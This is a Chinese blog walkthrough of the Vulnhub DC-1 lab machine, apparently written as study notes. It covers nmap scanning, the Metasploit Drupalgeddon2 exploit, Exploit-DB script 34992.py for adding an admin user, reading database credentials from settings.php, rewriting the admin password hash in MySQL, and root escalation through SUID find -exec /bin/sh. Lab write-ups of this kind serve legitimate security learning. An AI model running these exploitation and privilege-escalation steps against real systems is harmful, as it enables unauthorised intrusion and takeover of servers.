dc-1 靶机渗透学习

环境:

Vmware 虚拟机软件

dc -1 靶机ip地址:192.168.202.130

kali攻击机ip地址:192.168.202.129

本次渗透过程kali攻击机和dc靶机都采取NAT模式

信息收集

首先用ipconfig查看当前kali机所处网段。

得到当前kali机的ip地址后,用nmap对当前网段进行扫描,主机探活。

nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程

nmap -sP 192.168.202.0/24 

上面命令中的/24的解释是:/24 = 255.255.255.0,加个/24是告诉nmap扫描当前网段

扫到了五个ip,排除kali机还有本地的物理机,还剩下3个ip,那么怎么判断哪个是我们要攻击的机子呢?

这时候就得通过nmap的其它指令来探测每个ip主机打开的端口,通过打开的端口服务来判断。

nmap -A -p- -v  192.168.202.130

-A :此选项设置包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测。

-p- :扫描所有端口  1-65535

-v:设置对结果的详细输出,效果和-vv差不多

nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程

nmap使用教程_weixin_30372371的博客-CSDN博客

nmap基本使用方法 - bonelee - 博客园

这里直接扫192.168.202.130,可以自己扫一下其它有嫌疑的ip,就可以根据开启的端口服务排除了。

发现80端口开启,在浏览器访问一下80端口。

那么接下来的思路是怎么样呢?简单试一下没试出sql注入 ,观察一下这个页面,发现是Drupal框架,看一下百度百科的解释  Drupal_百度百科

 猜测一下Drupal可能存在框架漏洞,通过上面的扫描我们找到是Drupal 7

其实感觉也可以通过whatweb来查看框架,Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如它的名字一样,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等。

简单了解一下msf吧

在渗透过程中,MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。

打开msf,搜索一下该框架的漏洞

msfconsole

搜索Drupal 7的漏洞

选择一个最近几年,同时品质比较好的,即exploit/unix/webapp/drupal_drupalgeddon2 ,2018年的,rank为excellent

use exploit/unix/webapp/drupal_drupalgeddon2

set RHOSTS 192.168.202.130

第一条命令是使用这个漏洞,第二条命令是将攻击目标的ip设为192.168.202.130。 

接着可以一个show options 来看一下RHOSTS和LHOST(本机ip地址)设置好了没

设置完毕就可以用run命令启动,来获取meterpreter 会话,进而命令执行了 

到了这一步得执行一下shell命令,然后利用python来获得一个交互shell。

shell

python -c 'import pty; pty.spawn("/bin/bash")'
或者

python3 -c 'import pty; pty.spawn("/bin/bash")' 

我们来看一下原因:

虽然说不执行shell命令也可以拿到第一个flag,但后面的flag得连接数据库才能得到。

而连接数据库就要通过交互shell来进行,因为meterpreter 会话感觉只是通过框架漏洞发送数据进行命令执行。而第一次输入shell命令只是利用shell脚本,将存放在shell脚本里面的命令读取并执行,这个过程虽然能得到回显,但是在连接数据库时无法进行交互。 

shell(计算机壳层)_百度百科

所以还得利用python来产生一个交互shell,才能在后面的操作中与数据库连接,并且与数据库进行交互。

到此,第一个flag就拿到了,下面开始第二个flag。

第二个flag

在拿到第一个flag的时候,提示要找配置文件,我们百度找一下Drupal框架的配置文件在哪。

百度查找Drupal7默认配置发现Drupal 数据库配置连接-->/sites/default/settings.php

 直接cd进入当前目录下,然后cat settings.php

cd /var/www/sites/default

ls

cat settings.php

在flag2里面发现了数据库的账号和密码,直接进行连接。

mysql -udbuser -pR0ck3t

 然后查库名、表名、列名什么的.......

 最后你会发现还是得select * from users;

第三个flag

到此为止已经找到了用于登录的用户账号和密码密文了,但是密码密文不能直接使用,所以要真正得到这个账号有两种办法。

一、更改后台的密码

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

回到/var/www路径下,运行这个password-hash.sh加密脚本,得到新密码

cd ../

php scripts/password-hash.sh 123

将得到的密文在mysql中利用update语句更改密码,重新进入mysql的时候记得use drupaldb;这个命令来使用drupaldb数据库。

update users set pass='$S$DSONG7gsKJzu9tytwcz4DHmszpx52i.bVcEPv58aKHqduJVNFE5r' where uid=1;

回到靶机80端口开放的页面进行登录,admin,123。

在Dashboard找到第三个flag。

二、利用Drupal框架的sql漏洞再创建一个具有admin权限的用户

先查看Drupal版本,确定Drupal版本为7.24

cat /var/www/includes/bootstrap.inc  |  grep VERSION

利用searchsploit进行攻击

SearchSploit是一个用于搜索Exploit-DB漏洞数据的命令行工具,它可以允许你离线Exploit数据库,这样你就可以在本地执行离线搜索,这对于有时候不能联网的渗透工作非常的有用。 

searchsploit drupal   #查找针对Drupal的攻击脚本

 利用drupal7.0<7.31版本漏洞增加有admin权限的用户:admin1/admin1

 这里输入攻击命令的时候得加上完整路径,这个版本的searchsploit可能没有显示出来。

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.202.130 -u admin1 -p admin1

可以看到完成攻击,登录成功了

重新登录一下mysql查看,发现用户已经添加了

说明一下,msf和searchsploit是两个不同的工具。那为什么在别的博客中,看到在msf中可以执行searchsploit呢?

是因为虽然你进入了msf,但是你可以执行root终端的任何命令,如cat、ls等,所以你在msf执行searchsploit相当于在root终端使用这个工具。

 

第四个flag

第三个flag提示的关键词是PERMS、FIND、passwd、-exec、shadow,查看一下/etc/passwd

,发现flag4用户

看一下/home/flag4的文件,尝试cat /home/flag4/flag4.txt,拿到flag4,发现提示我们将权限提升到root

根据提示把权限提升至root,尝试进行SUID提权,先来简单了解一下SUID提权。

什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

如果/user/bin/find命令有SUID权限,那么如何利用find命令来进行提权呢?

一个典型的例子是将SUID权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。

 find命令是包含用于执行命令的参数的,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

Linux find命令:在目录中查找文件(超详解) (biancheng.net)

Linux find 命令 | 菜鸟教程 (runoob.com)

可以看一下大佬们的文章

谈一谈Linux与suid提权 | 离别歌 

Linux通过第三方应用提权实战总结 - FreeBuf网络安全行业门户

https://xz.aliyun.com/t/7924#toc-14

最后一个flag

下面就开始我们SUID提权的步骤:

首先找一下有SUID权限的文件

find / -perm -4000

 find基础命令与提权教程 - 灰信网(软件开发博客聚合)

看到find命令有SUID权限,所以这里可以利用find命令进行提权。

用find命令包含的-exec参数进行提权

find /var/www -exec "/bin/sh" \;

这个命令中的/bin/sh是linux内核和用户之间的命令解释器,可以将我们的命令解释并发送给linux内核。

提权后发现我们的权限已经升级为root了,这下可以查看一下root目录的文件,直接拿到最后一个flag。 

参考文章

 Vulnhub靶机实战——DC-1_冠霖L的博客-CSDN博客_vulnhub靶机实战

DC-1靶机攻略 - shadow-ink - 博客园

vulnhub-DC1靶机 - xinZa1

谈一谈Linux与suid提权 | 离别歌

Linux通过第三方应用提权实战总结 - FreeBuf网络安全行业门户

https://xz.aliyun.com/t/7924#toc-14

nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程

nmap使用教程_weixin_30372371的博客-CSDN博客

nmap基本使用方法 - bonelee - 博客园

  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值